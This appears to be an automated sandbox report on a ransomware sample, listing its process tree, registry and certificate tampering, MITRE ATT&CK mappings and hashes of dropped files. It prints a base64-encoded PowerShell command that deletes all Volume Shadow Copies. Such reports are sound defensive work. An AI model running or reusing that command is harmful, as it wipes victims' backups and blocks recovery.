PID 2388 wrote to memory of 1672	2388	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe	28
PID 2388 wrote to memory of 1672	2388	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe	28
PID 2388 wrote to memory of 1672	2388	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe	28
PID 2388 wrote to memory of 1672	2388	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe	28

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1672

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1728

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarDF2F.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\u82yk1-readme.txt

Filesize
6KB

MD5
7325477f11799a2099cce6868c5bd7e8

SHA1
bf2229b7cf8e1b9d02b191305ea140443581baa7

SHA256
47f605ae8a5af0702d3ade2f7c4413d6e4e97528e1fa8c0cd1bbc456af5760f0

SHA512
aa9aa38133b50bd1e8930458298d5847e3bc6c8ad3d6338ca8274a0b001b23d86f5b35dadbff1faec569ce0a257c8919fac85494600295360c9901dc4bd3cf70

Download Submit
C:\Windows\System32\catroot2\dberr.txt

Filesize
192KB

MD5
9e3f247c97c241a5f4c7ea1264755992

SHA1
d8f8c29f3946fde8b3ce299cf0ec5faca2c0d76e

SHA256
936edcb68964d964049091dcc53df02d23898458875bac29339d20e04c828023

SHA512
111153837a9d28c1e9f592307f560414348968738567c3a8079e3ff930d3fe8453086e1cd80669fc9693c0a26cd4f2d3537719dda2652935631b0955afe3a61e

Download Submit
memory/1672-7-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/1672-9-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/1672-10-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/1672-11-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/1672-12-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/1672-8-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/1672-4-0x000007FEF5DCE000-0x000007FEF5DCF000-memory.dmp

Filesize
4KB

Download
memory/1672-6-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/1672-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download